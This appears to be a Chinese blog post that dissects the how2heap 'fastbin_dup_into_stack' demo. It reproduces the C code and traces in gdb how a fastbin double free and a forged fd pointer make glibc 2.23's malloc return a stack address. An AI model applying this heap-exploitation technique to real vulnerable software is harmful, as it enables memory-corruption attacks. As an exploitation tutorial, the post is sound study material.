fastbin_dup_into_stack log

Posted wangziqiang123

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how2heap大礼包,逐个拆解分析。按字母序,第二个拆fastbin_dup_into_stack。

如果对fastbin不熟悉,请先阅读fastbin_dup.log篇。

Code

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int ()
{
printf("This file extends on fastbin_dup.c by tricking malloc inton"
"returning a pointer to a controlled location (in this case, the stack).n");

unsigned long long stack_var;

printf("The address we want malloc() to return is %p.n", 8+(char *)&stack_var);

printf("Allocating 3 buffers.n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

printf("1st malloc(8): %pn", a);
printf("2nd malloc(8): %pn", b);
printf("3rd malloc(8): %pn", c);

printf("Freeing the first one...n");
free(a);

printf("If we free %p again, things will crash because %p is at the top of the free list.n", a, a);


printf("So, instead, we'll free %p.n", b);
free(b);

printf("Now, we can free %p again, since it's not the head of the free list.n", a);
free(a);

printf("Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.n", a, b, a, a);
unsigned long long *d = malloc(8);

printf("1st malloc(8): %pn", d);
printf("2nd malloc(8): %pn", malloc(8));
printf("Now the free list has [ %p ].n", a);
printf("Now, we have access to %p while it remains at the head of the free list.n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,n"
"so that malloc will think there is a free chunk there and agree ton"
"return a pointer to it.n", a);
stack_var = 0x21;

printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

printf("3rd malloc(8): %p, putting the stack address on the free listn", malloc(8));
printf("4th malloc(8): %pn", malloc(8));
}

Environment

Ubuntu x64 glibc-2.23

gdb调试,b printf

Trace

C代码中的非格式化的printf会被编译器优化成puts。所以第一次断在程序中的第二个printf处。finish返回:
技术图片

stack_var想要作为伪造chunk的curSize(3 flag bits),64位环境长度为8字节,所以精心构造malloc返回的地方应该是(char*)stack_var+8的地方。stack_var根据chunk的尺寸,伪造成21(其实对于fastbin来说,20也行,但21是字面意义上最正确的)。

经过3次malloc,此时的chunk:
技术图片

经过3次free:
技术图片

此时fastbin->0x603410(chunk a)->0x603430(chunk b)->0x603410(chunk a)->…

第一次malloc,指针d指向的就是chunk a的Alloc域,也就是0x603420:
技术图片

第二次malloc分配原本的chunk b,不关心。
第三次malloc分配之前,我们要先改掉d指向的区域,也就是下一次要分配到的原本的chunk a的fd指针,改成指向栈空间的(char*)stack_var-16的地址,这里16是preSize+curSize的大小。

执行第三次malloc之前:
技术图片

可以看到此时我们已在待分配的chunk上设置了fd指针指向0x7fffffffde28:
技术图片

第三次malloc分配的依然是chunk a,但此时由于改动了chunk a的fd指针,导致原本的fastbin循环链被破坏,分配之后,fastbin不再指向chunk b,而指向了伪造的chunk,即0x7fffffffde28。

第四次malloc,分配的就是伪造的chunk:
技术图片

常见的还有将chunk伪造在.bss段上,利用思路是一样的,关键在于对fastbin chunk的理解。

原文:大专栏  fastbin_dup_into_stack log


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